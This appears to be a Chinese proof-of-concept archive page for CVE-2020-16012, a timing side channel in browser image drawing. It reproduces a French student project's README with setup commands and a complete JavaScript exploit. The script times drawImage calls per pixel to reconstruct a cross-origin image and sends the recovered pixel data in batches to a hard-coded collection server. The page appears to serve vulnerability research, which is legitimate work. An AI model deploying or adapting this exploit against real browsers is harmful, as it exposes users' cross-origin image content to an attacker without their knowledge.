关联漏洞
标题:
Mozilla Firefox 安全漏洞
(CVE-2020-16012)
描述:Mozilla Firefox是美国Mozilla基金会的一款开源Web浏览器。 FireFox 存在安全漏洞,该漏洞源于当在未知的交叉原点图像上绘制透明图像时,Skia库的drawImage函数会根据底层图像的内容花费可变的时间。这导致了通过定时侧通道攻击可能暴露图像内容的交叉源信息。
介绍
# Projet M2 - Side Channel Attack
# Client
## Chrome Version 83
### Installation Link
https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/
### Launch command
```bash
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html
```
# Server
## Install Python Packages
```bash
cd code/server
pip install -r requirements.txt
```
## Launch Server
Se lance sur le port 7000 en localhost.
```bash
python3 server.py
```
# Output
Une image **output/img1.png** sera crée quand vous ferez "Ctrl+C" pour éteindre le serveur.
# Script
```html
<script>
let Heatmap = null
let ScratchContext = null
const Width = 75
const Height = 75
const Iters = 200
const BATCH_SIZE = 100 // Taille du lot pour l'envoi
// URL de base du serveur
const SERVER_URL = "http://192.168.0.26:7000"
function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}
function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}
// Fonction pour envoyer les données RGB à un serveur via POST (méthode individuelle)
async function sendPixelData(x, y, rgb) {
// Envoie les données RGB au serveur distant
await fetch(`${SERVER_URL}`, {
method: "POST",
body: JSON.stringify({ x, y, rgb }),
headers: { "Content-Type": "application/json" }
})
}
// Fonction pour envoyer un lot de pixels
async function sendPixelBatch(pixelBatch) {
await fetch(`${SERVER_URL}/batch`, {
method: "POST",
body: JSON.stringify({ pixels: pixelBatch }),
headers: { "Content-Type": "application/json" }
});
console.log(`Envoi d'un lot de ${pixelBatch.length} pixels`);
}
// Fonction pour sauvegarder l'image sur le serveur
async function saveImage() {
try {
const response = await fetch(`${SERVER_URL}/auto-save`);
const data = await response.json();
if (response.ok) {
displayStatus(`Image sauvegardée: ${data.path}`, true);
// Optionnellement, afficher l'image sauvegardée
document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
document.getElementById('saved-image-container').style.display = 'block';
} else {
displayStatus(`Erreur: ${data.error}`, false);
}
} catch (error) {
displayStatus(`Erreur de connexion: ${error.message}`, false);
}
}
// Fonction pour afficher les messages de statut
function displayStatus(message, isSuccess) {
const statusElement = document.getElementById('status');
statusElement.textContent = message;
statusElement.className = isSuccess ? 'success' : 'error';
statusElement.style.display = 'block';
// Masquer le message après 5 secondes
setTimeout(() => {
statusElement.style.display = 'none';
}, 5000);
}
async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
immediately, but only after the JavaScript thread stops. we wait
on a timeout with a duration of zero to give the browser a chance
to do the drawing, as otherwise we'd just be measuring the time
taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()
return endTime - startTime
}
function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))
Heatmap.clearRect(0, 0, Width, Height)
for (let x = 0; x < heatmap.length; x++) {
for (let y = 0; y < heatmap[x].length; y++) {
let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
Heatmap.fillRect(x, y, 1, 1)
}
}
}
async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initialisation...";
/* the first couple of measurements are always higher
than they're supposed to be because some interpreter
optimizations haven't kicked in yet, so we "warm up"
the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
await timePixel(image, 0, 0)
}
let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;
document.getElementById('progress-info').textContent = "Récupération en cours...";
for (let x = 0; x < Width; x++) {
let col = []
for (let y = 0; y < Height; y++) {
rgb = await timePixel(image, x, y)
col.push(rgb)
// Ajouter le pixel au batch courant
currentBatch.push({x, y, rgb});
processedPixels++;
// Mettre à jour l'indicateur de progression
document.getElementById('progress-info').textContent =
`Progression: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
// Si le batch atteint la taille limite, l'envoyer
if (currentBatch.length >= BATCH_SIZE) {
await sendPixelBatch([...currentBatch]); // Copie du batch pour éviter les problèmes de référence
currentBatch = []; // Réinitialiser le batch
}
drawHeatmap(pixels.concat([col]));
}
pixels.push(col)
}
// Envoyer le dernier batch s'il reste des pixels
if (currentBatch.length > 0) {
await sendPixelBatch(currentBatch);
}
drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Récupération terminée!";
document.getElementById('save-btn').disabled = false;
saveImage();
}
function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false
Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false
// Désactiver le bouton de sauvegarde jusqu'à ce que la récupération soit terminée
document.getElementById('save-btn').disabled = true;
recoverImage(document.getElementById('target'))
}
</script>
```
文件快照
[4.0K] /data/pocs/159ef529b251d1ab0bf0bb1f39de1b80be3c5f57
├── [113K] chain.webp
├── [ 24K] danger.jpg
├── [314K] danger.webp
├── [399K] ia.jpeg
├── [ 20K] index.html
├── [1.1K] index.html.bak
├── [ 56K] privacy.png
├── [912K] quantum.png
├── [5.9K] README.md
├── [ 30] requirements.txt
└── [5.4K] server.py
0 directories, 11 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。